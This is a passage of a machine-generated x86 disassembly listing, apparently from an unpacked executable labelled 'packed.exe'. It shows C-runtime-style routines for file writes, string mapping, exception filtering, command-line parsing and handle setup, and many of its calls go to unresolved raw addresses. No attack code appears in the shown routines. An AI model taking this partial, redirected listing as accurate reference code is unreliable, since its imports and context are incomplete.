[ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4231B6 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4231A1 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4231A1: ; CODE XREF: sub_4230FB+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_423182 loc_4231B6: ; CODE XREF: sub_4230FB+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2710000h test eax, eax jz short loc_423220 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4231F2 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_42317C loc_4231F2: ; CODE XREF: sub_4230FB+EAj ; sub_4230FB+12Ej xor edi, edi loc_4231F4: ; CODE XREF: sub_4230FB+150j ; sub_4230FB+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_42328A cmp [ebp+arg_0], edi jz short loc_423263 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_423258 mov dword_4DBDDC, 9 mov dword_4DBDE0, eax jmp loc_4232A0 ; --------------------------------------------------------------------------- loc_423220: ; CODE XREF: sub_4230FB+E0j call near ptr 2680880h nop mov [ebp+arg_0], eax jmp short loc_4231F2 ; --------------------------------------------------------------------------- loc_42322B: ; CODE XREF: sub_4230FB+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2710000h test eax, eax jz short loc_42324D mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_42324D: ; CODE XREF: sub_4230FB+145j call near ptr 2680880h nop mov [ebp+arg_0], eax jmp short loc_4231F4 ; --------------------------------------------------------------------------- loc_423258: ; CODE XREF: sub_4230FB+10Fj push [ebp+arg_0] call sub_420C7F pop ecx jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_423263: ; CODE XREF: sub_4230FB+7Bj ; sub_4230FB+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_423278 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_423145 loc_423278: ; CODE XREF: sub_4230FB+16Fj mov dword_4DBDDC, 1Ch mov dword_4DBDE0, edi jmp short loc_4232A0 ; --------------------------------------------------------------------------- loc_42328A: ; CODE XREF: sub_4230FB+FEj sub eax, [ebp+var_10] jmp short loc_4232A3 ; --------------------------------------------------------------------------- loc_42328F: ; CODE XREF: sub_4230FB+15j ; sub_4230FB+37j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_4232A0: ; CODE XREF: sub_4230FB+120j ; sub_4230FB+166j ... or eax, 0FFFFFFFFh loc_4232A3: ; CODE XREF: sub_4230FB+4Cj ; sub_4230FB+192j pop edi pop esi pop ebx leave retn sub_4230FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232A8 proc near ; CODE XREF: sub_41DE4A+47p ; sub_41DE4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427928 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4DBE78, edi jnz short loc_42331E push edi push edi push 1 pop ebx push ebx push offset dword_427920 mov esi, 100h push esi push edi call near ptr 2640000h nop test eax, eax jz short loc_4232FC mov dword_4DBE78, ebx jmp short loc_42331E ; --------------------------------------------------------------------------- loc_4232FC: ; CODE XREF: sub_4232A8+4Aj push edi push edi push ebx push offset word_4CB88C push esi push edi nop call near ptr 2650000h test eax, eax jz loc_423436 mov dword_4DBE78, 2 loc_42331E: ; CODE XREF: sub_4232A8+2Ej ; sub_4232A8+52j cmp [ebp+arg_C], edi jle short loc_423333 push [ebp+arg_C] push [ebp+arg_8] call sub_4234CC pop ecx pop ecx mov [ebp+arg_C], eax loc_423333: ; CODE XREF: sub_4232A8+79j mov eax, dword_4DBE78 cmp eax, 2 jnz short loc_42335A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h jmp loc_423438 ; --------------------------------------------------------------------------- loc_42335A: ; CODE XREF: sub_4232A8+93j cmp eax, 1 jnz loc_423436 cmp [ebp+arg_18], edi jnz short loc_423370 mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_423370: ; CODE XREF: sub_4232A8+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call near ptr 26F0000h nop mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_423436 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4233CB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4233CB: ; CODE XREF: sub_4232A8+10Ej cmp [ebp+var_24], edi jz short loc_423436 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 26F0000h test eax, eax jz short loc_423436 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_423436 test byte ptr [ebp+arg_4+1], 4 jz short loc_42344A cmp [ebp+arg_14], edi jz loc_4234C5 cmp esi, [ebp+arg_14] jg short loc_423436 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jnz loc_4234C5 loc_423436: ; CODE XREF: sub_4232A8+66j ; sub_4232A8+B5j ... xor eax, eax loc_423438: ; CODE XREF: sub_4232A8+ADj ; sub_4232A8+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42344A: ; CODE XREF: sub_4232A8+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_42347E ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_42347E: ; CODE XREF: sub_4232A8+1C2j cmp ebx, edi jz short loc_423436 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jz short loc_423436 cmp [ebp+arg_14], edi push edi push edi jnz short loc_4234A5 push edi push edi jmp short loc_4234AB ; --------------------------------------------------------------------------- loc_4234A5: ; CODE XREF: sub_4232A8+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_4234AB: ; CODE XREF: sub_4232A8+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2860000h mov esi, eax cmp esi, edi jz loc_423436 loc_4234C5: ; CODE XREF: sub_4232A8+165j ; sub_4232A8+188j mov eax, esi jmp loc_423438 sub_4232A8 endp ; =============== S U B R O U T I N E ======================================= sub_4234CC proc near ; CODE XREF: sub_4232A8+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4234E9 loc_4234DC: ; CODE XREF: sub_4234CC+1Bj cmp byte ptr [eax], 0 jz short loc_4234E9 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_4234DC loc_4234E9: ; CODE XREF: sub_4234CC+Ej ; sub_4234CC+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4234F4 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4234F4: ; CODE XREF: sub_4234CC+21j mov eax, edx retn sub_4234CC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_423638 test eax, eax pop ecx jz loc_42362C mov ebx, [eax+8] test ebx, ebx jz loc_42362C cmp ebx, 5 jnz short loc_423528 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_423635 ; --------------------------------------------------------------------------- loc_423528: ; CODE XREF: ___:0042351Aj cmp ebx, 1 jz loc_423627 mov ecx, dword_4DBE9C mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4DBE9C, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_423617 mov ecx, dword_43D4C0 mov edx, dword_43D4C4 add edx, ecx push esi cmp ecx, edx jge short loc_423577 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43D450h[esi*4] loc_42356E: ; CODE XREF: ___:00423575j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_42356E loc_423577: ; CODE XREF: ___:00423560j mov eax, [eax] mov esi, dword_43D4CC cmp eax, 0C000008Eh jnz short loc_423592 mov dword_43D4CC, 83h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_423592: ; CODE XREF: ___:00423584j cmp eax, 0C0000090h jnz short loc_4235A5 mov dword_43D4CC, 81h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235A5: ; CODE XREF: ___:00423597j cmp eax, 0C0000091h jnz short loc_4235B8 mov dword_43D4CC, 84h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235B8: ; CODE XREF: ___:004235AAj cmp eax, 0C0000093h jnz short loc_4235CB mov dword_43D4CC, 85h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235CB: ; CODE XREF: ___:004235BDj cmp eax, 0C000008Dh jnz short loc_4235DE mov dword_43D4CC, 82h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235DE: ; CODE XREF: ___:004235D0j cmp eax, 0C000008Fh jnz short loc_4235F1 mov dword_43D4CC, 86h jmp short loc_423602 ; --------------------------------------------------------------------------- loc_4235F1: ; CODE XREF: ___:004235E3j cmp eax, 0C0000092h jnz short loc_423602 mov dword_43D4CC, 8Ah loc_423602: ; CODE XREF: ___:00423590j ; ___:004235A3j ... push dword_43D4CC push 8 call ebx pop ecx mov dword_43D4CC, esi pop ecx pop esi jmp short loc_42361F ; --------------------------------------------------------------------------- loc_423617: ; CODE XREF: ___:00423549j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_42361F: ; CODE XREF: ___:00423615j mov eax, [ebp+8] mov dword_4DBE9C, eax loc_423627: ; CODE XREF: ___:0042352Bj or eax, 0FFFFFFFFh jmp short loc_423635 ; --------------------------------------------------------------------------- loc_42362C: ; CODE XREF: ___:00423506j ; ___:00423511j push dword ptr [ebp+0Ch] nop call near ptr 2630000h loc_423635: ; CODE XREF: ___:00423523j ; ___:0042362Aj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_423638 proc near ; CODE XREF: ___:004234FEp arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D448, edx push esi mov eax, offset dword_43D448 jz short loc_423665 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_42365A: ; CODE XREF: sub_423638+2Bj add eax, 0Ch cmp eax, esi jnb short loc_423665 cmp [eax], edx jnz short loc_42365A loc_423665: ; CODE XREF: sub_423638+16j ; sub_423638+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_423678 cmp [eax], edx jz short locret_42367A loc_423678: ; CODE XREF: sub_423638+3Aj xor eax, eax locret_42367A: ; CODE XREF: sub_423638+3Ej retn sub_423638 endp ; --------------------------------------------------------------------------- cmp dword_4DD394, 0 jnz short loc_423689 call sub_420B0D loc_423689: ; CODE XREF: ___:00423682j push esi mov esi, dword_4DD38C mov al, [esi] cmp al, 22h jnz short loc_4236BB loc_423696: ; CODE XREF: ___:004236AEj ; ___:004236B1j mov al, [esi+1] inc esi cmp al, 22h jz short loc_4236B3 test al, al jz short loc_4236B3 movzx eax, al push eax call sub_424FE7 test eax, eax pop ecx jz short loc_423696 inc esi jmp short loc_423696 ; --------------------------------------------------------------------------- loc_4236B3: ; CODE XREF: ___:0042369Cj ; ___:004236A0j cmp byte ptr [esi], 22h jnz short loc_4236C5 loc_4236B8: ; CODE XREF: ___:004236CDj inc esi jmp short loc_4236C5 ; --------------------------------------------------------------------------- loc_4236BB: ; CODE XREF: ___:00423694j cmp al, 20h jbe short loc_4236C5 loc_4236BF: ; CODE XREF: ___:004236C3j inc esi cmp byte ptr [esi], 20h ja short loc_4236BF loc_4236C5: ; CODE XREF: ___:004236B6j ; ___:004236B9j ... mov al, [esi] test al, al jz short loc_4236CF cmp al, 20h jbe short loc_4236B8 loc_4236CF: ; CODE XREF: ___:004236C9j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4236E5 call sub_420B0D loc_4236E5: ; CODE XREF: ___:004236DEj mov esi, dword_4DBE34 xor edi, edi loc_4236ED: ; CODE XREF: ___:00423703j mov al, [esi] cmp al, bl jz short loc_423705 cmp al, 3Dh jz short loc_4236F8 inc edi loc_4236F8: ; CODE XREF: ___:004236F5j push esi call sub_41B9C0 pop ecx lea esi, [esi+eax+1] jmp short loc_4236ED ; --------------------------------------------------------------------------- loc_423705: ; CODE XREF: ___:004236F1j lea eax, ds:4[edi*4] push eax call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DBE04, esi jnz short loc_423727 push 9 call sub_41E2C9 pop ecx loc_423727: ; CODE XREF: ___:0042371Dj mov edi, dword_4DBE34 cmp [edi], bl jz short loc_42376A push ebp loc_423732: ; CODE XREF: ___:00423767j push edi call sub_41B9C0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_423763 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_423756 push 9 call sub_41E2C9 pop ecx loc_423756: ; CODE XREF: ___:0042374Cj push edi push dword ptr [esi] call sub_41C890 pop ecx add esi, 4 pop ecx loc_423763: ; CODE XREF: ___:0042373Fj add edi, ebp cmp [edi], bl jnz short loc_423732 pop ebp loc_42376A: ; CODE XREF: ___:0042372Fj push dword_4DBE34 call sub_41BA91 pop ecx mov dword_4DBE34, ebx mov [esi], ebx pop edi pop esi mov dword_4DD390, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DD394, ebx push esi push edi jnz short loc_4237A3 call sub_420B0D loc_4237A3: ; CODE XREF: ___:0042379Cj mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2670000h mov eax, dword_4DD38C mov off_4DBE14, esi mov edi, esi cmp [eax], bl jz short loc_4237C8 mov edi, eax loc_4237C8: ; CODE XREF: ___:004237C4j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_423825 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41BEB5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_4237F8 push 8 call sub_41E2C9 pop ecx loc_4237F8: ; CODE XREF: ___:004237EEj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_423825 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DBDFC, esi pop edi pop esi mov dword_4DBDF8, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423825 proc near ; CODE XREF: ___:004237D3p ; ___:00423809p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_42384F mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42384F: ; CODE XREF: sub_423825+20j cmp byte ptr [eax], 22h jnz short loc_423898 loc_423854: ; CODE XREF: sub_423825+58j ; sub_423825+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_423886 test dl, dl jz short loc_423886 movzx edx, dl test byte_4DD261[edx], 4 jz short loc_423879 inc dword ptr [ecx] test esi, esi jz short loc_423879 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423879: ; CODE XREF: sub_423825+46j ; sub_423825+4Cj inc dword ptr [ecx] test esi, esi jz short loc_423854 mov dl, [eax] mov [esi], dl inc esi jmp short loc_423854 ; --------------------------------------------------------------------------- loc_423886: ; CODE XREF: sub_423825+36j ; sub_423825+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423890 and byte ptr [esi], 0 inc esi loc_423890: ; CODE XREF: sub_423825+65j cmp byte ptr [eax], 22h jnz short loc_4238DB inc eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_423898: ; CODE XREF: sub_423825+2Dj ; sub_423825+A5j inc dword ptr [ecx] test esi, esi jz short loc_4238A3 mov dl, [eax] mov [esi], dl inc esi loc_4238A3: ; CODE XREF: sub_423825+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_4238BE inc dword ptr [ecx] test esi, esi jz short loc_4238BD mov bl, [eax] mov [esi], bl inc esi loc_4238BD: ; CODE XREF: sub_423825+91j inc eax loc_4238BE: ; CODE XREF: sub_423825+8Bj cmp dl, 20h jz short loc_4238CC test dl, dl jz short loc_4238D0 cmp dl, 9 jnz short loc_423898 loc_4238CC: ; CODE XREF: sub_423825+9Cj test dl, dl jnz short loc_4238D3 loc_4238D0: ; CODE XREF: sub_423825+A0j dec eax jmp short loc_4238DB ; --------------------------------------------------------------------------- loc_4238D3: ; CODE XREF: sub_423825+A9j test esi, esi jz short loc_4238DB and byte ptr [esi-1], 0 loc_4238DB: ; CODE XREF: sub_423825+6Ej ; sub_423825+71j ... and [ebp+arg_10], 0 loc_4238DF: ; CODE XREF: sub_423825+19Ej cmp byte ptr [eax], 0 jz loc_4239C8 loc_4238E8: ; CODE XREF: sub_423825+D0j mov dl, [eax] cmp dl, 20h jz short loc_4238F4 cmp dl, 9 jnz short loc_4238F7 loc_4238F4: ; CODE XREF: sub_423825+C8j inc eax jmp short loc_4238E8 ; --------------------------------------------------------------------------- loc_4238F7: ; CODE XREF: sub_423825+CDj cmp byte ptr [eax], 0 jz loc_4239C8 test edi, edi jz short loc_42390C mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42390C: ; CODE XREF: sub_423825+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423911: ; CODE XREF: sub_423825+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_42391A: ; CODE XREF: sub_423825+FCj cmp byte ptr [eax], 5Ch jnz short loc_423923 inc eax inc ebx jmp short loc_42391A ; --------------------------------------------------------------------------- loc_423923: ; CODE XREF: sub_423825+F8j cmp byte ptr [eax], 22h jnz short loc_423954 test bl, 1 jnz short loc_423952 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423941 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423941 mov eax, edx jmp short loc_423944 ; --------------------------------------------------------------------------- loc_423941: ; CODE XREF: sub_423825+10Dj ; sub_423825+116j mov [ebp+arg_0], edi loc_423944: ; CODE XREF: sub_423825+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423952: ; CODE XREF: sub_423825+106j shr ebx, 1 loc_423954: ; CODE XREF: sub_423825+101j mov edx, ebx dec ebx test edx, edx jz short loc_423969 inc ebx loc_42395C: ; CODE XREF: sub_423825+142j test esi, esi jz short loc_423964 mov byte ptr [esi], 5Ch inc esi loc_423964: ; CODE XREF: sub_423825+139j inc dword ptr [ecx] dec ebx jnz short loc_42395C loc_423969: ; CODE XREF: sub_423825+134j mov dl, [eax] test dl, dl jz short loc_4239B9 cmp [ebp+arg_10], 0 jnz short loc_42397F cmp dl, 20h jz short loc_4239B9 cmp dl, 9 jz short loc_4239B9 loc_42397F: ; CODE XREF: sub_423825+14Ej cmp [ebp+arg_0], 0 jz short loc_4239B3 test esi, esi jz short loc_4239A2 movzx ebx, dl test byte_4DD261[ebx], 4 jz short loc_42399B mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42399B: ; CODE XREF: sub_423825+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4239B1 ; --------------------------------------------------------------------------- loc_4239A2: ; CODE XREF: sub_423825+162j movzx edx, dl test byte_4DD261[edx], 4 jz short loc_4239B1 inc eax inc dword ptr [ecx] loc_4239B1: ; CODE XREF: sub_423825+17Bj ; sub_423825+187j inc dword ptr [ecx] loc_4239B3: ; CODE XREF: sub_423825+15Ej inc eax jmp loc_423911 ; --------------------------------------------------------------------------- loc_4239B9: ; CODE XREF: sub_423825+148j ; sub_423825+153j ... test esi, esi jz short loc_4239C1 and byte ptr [esi], 0 inc esi loc_4239C1: ; CODE XREF: sub_423825+196j inc dword ptr [ecx] jmp loc_4238DF ; --------------------------------------------------------------------------- loc_4239C8: ; CODE XREF: sub_423825+BDj ; sub_423825+D5j test edi, edi jz short loc_4239CF and dword ptr [edi], 0 loc_4239CF: ; CODE XREF: sub_423825+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_423825 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DBFA4 push ebx push ebp mov ebp, dword_427030 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423A27 call ebp mov esi, eax cmp esi, ebx jz short loc_423A08 mov dword_4DBFA4, 1 jmp short loc_423A30 ; --------------------------------------------------------------------------- loc_423A08: ; CODE XREF: ___:004239FAj nop call near ptr 2620A63h mov edi, eax cmp edi, ebx jz loc_423B02 mov dword_4DBFA4, 2 jmp loc_423AB6 ; --------------------------------------------------------------------------- loc_423A27: ; CODE XREF: ___:004239F2j cmp eax, 1 jnz loc_423AB1 loc_423A30: ; CODE XREF: ___:00423A06j cmp esi, ebx jnz short loc_423A40 call ebp mov esi, eax cmp esi, ebx jz loc_423B02 loc_423A40: ; CODE XREF: ___:00423A32j cmp [esi], bx mov eax, esi jz short loc_423A55 loc_423A47: ; CODE XREF: ___:00423A4Cj ; ___:00423A53j inc eax inc eax cmp [eax], bx jnz short loc_423A47 inc eax inc eax cmp [eax], bx jnz short loc_423A47 loc_423A55: ; CODE XREF: ___:00423A45j sub eax, esi mov edi, dword_427188 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_423AA6 push ebp call sub_41BEB5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_423AA6 push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423AA2 push dword ptr [esp+10h] call sub_41BA91 pop ecx mov [esp+10h], ebx loc_423AA2: ; CODE XREF: ___:00423A92j mov ebx, [esp+10h] loc_423AA6: ; CODE XREF: ___:00423A72j ; ___:00423A81j push esi call near ptr 2620DB9h nop mov eax, ebx jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423AB1: ; CODE XREF: ___:00423A2Aj cmp eax, 2 jnz short loc_423B02 loc_423AB6: ; CODE XREF: ___:00423A22j cmp edi, ebx jnz short loc_423AC6 nop call near ptr 2620A63h mov edi, eax cmp edi, ebx jz short loc_423B02 loc_423AC6: ; CODE XREF: ___:00423AB8j cmp [edi], bl mov eax, edi jz short loc_423AD6 loc_423ACC: ; CODE XREF: ___:00423ACFj ; ___:00423AD4j inc eax cmp [eax], bl jnz short loc_423ACC inc eax cmp [eax], bl jnz short loc_423ACC loc_423AD6: ; CODE XREF: ___:00423ACAj sub eax, edi inc eax mov ebp, eax push ebp call sub_41BEB5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_423AEC xor esi, esi jmp short loc_423AF7 ; --------------------------------------------------------------------------- loc_423AEC: ; CODE XREF: ___:00423AE6j push ebp push edi push esi call sub_41CD20 add esp, 0Ch loc_423AF7: ; CODE XREF: ___:00423AEAj push edi nop call near ptr 2620DEEh mov eax, esi jmp short loc_423B04 ; --------------------------------------------------------------------------- loc_423B02: ; CODE XREF: ___:00423A12j ; ___:00423A3Aj ... xor eax, eax loc_423B04: ; CODE XREF: ___:00423AAFj ; ___:00423B00j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_423B2B push 1Bh call sub_41E2C9 pop ecx loc_423B2B: ; CODE XREF: ___:00423B21j mov dword_4DD040, esi mov dword_4DD140, 20h lea eax, [esi+100h] loc_423B41: ; CODE XREF: ___:00423B5Dj cmp esi, eax jnb short loc_423B5F and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DD040 add esi, 8 add eax, 100h jmp short loc_423B41 ; --------------------------------------------------------------------------- loc_423B5F: ; CODE XREF: ___:00423B43j lea eax, [esp+10h] push eax nop call near ptr 28B0000h cmp word ptr [esp+42h], 0 jz loc_423C3B mov eax, [esp+44h] test eax, eax jz loc_423C3B mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_423B95 mov esi, eax loc_423B95: ; CODE XREF: ___:00423B91j cmp dword_4DD140, esi jge short loc_423BEF mov edi, offset dword_4DD044 loc_423BA2: ; CODE XREF: ___:00423BE5j push 100h call sub_41BEB5 test eax, eax pop ecx jz short loc_423BE9 add dword_4DD140, 20h mov [edi], eax lea ecx, [eax+100h] loc_423BC0: ; CODE XREF: ___:00423BDAj cmp eax, ecx jnb short loc_423BDC and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_423BC0 ; --------------------------------------------------------------------------- loc_423BDC: ; CODE XREF: ___:00423BC2j add edi, 4 cmp dword_4DD140, esi jl short loc_423BA2 jmp short loc_423BEF ; --------------------------------------------------------------------------- loc_423BE9: ; CODE XREF: ___:00423BAFj mov esi, dword_4DD140 loc_423BEF: ; CODE XREF: ___:00423B9Bj ; ___:00423BE7j xor edi, edi test esi, esi jle short loc_423C3B loc_423BF5: ; CODE XREF: ___:00423C39j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423C32 mov cl, [ebp+0] test cl, 1 jz short loc_423C32 test cl, 8 jnz short loc_423C14 push eax call near ptr 2620000h nop test eax, eax jz short loc_423C32 loc_423C14: ; CODE XREF: ___:00423C07j mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423C32: ; CODE XREF: ___:00423BFAj ; ___:00423C02j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_423BF5 loc_423C3B: ; CODE XREF: ___:00423B70j ; ___:00423B7Cj ... xor ebx, ebx loc_423C3D: ; CODE XREF: ___:00423CA0j mov eax, dword_4DD040 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_423C98 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_423C58 push 0FFFFFFF6h pop eax jmp short loc_423C62 ; --------------------------------------------------------------------------- loc_423C58: ; CODE XREF: ___:00423C51j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423C62: ; CODE XREF: ___:00423C56j push eax nop call near ptr 262081Bh mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_423C87 push edi call near ptr 2620000h nop test eax, eax jz short loc_423C87 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423C8D loc_423C87: ; CODE XREF: ___:00423C6Ej ; ___:00423C79j or byte ptr [esi+4], 40h jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C8D: ; CODE XREF: ___:00423C85j cmp eax, 3 jnz short loc_423C9C or byte ptr [esi+4], 8 jmp short loc_423C9C ; --------------------------------------------------------------------------- loc_423C98: ; CODE XREF: ___:00423C49j or byte ptr [esi+4], 80h loc_423C9C: ; CODE XREF: 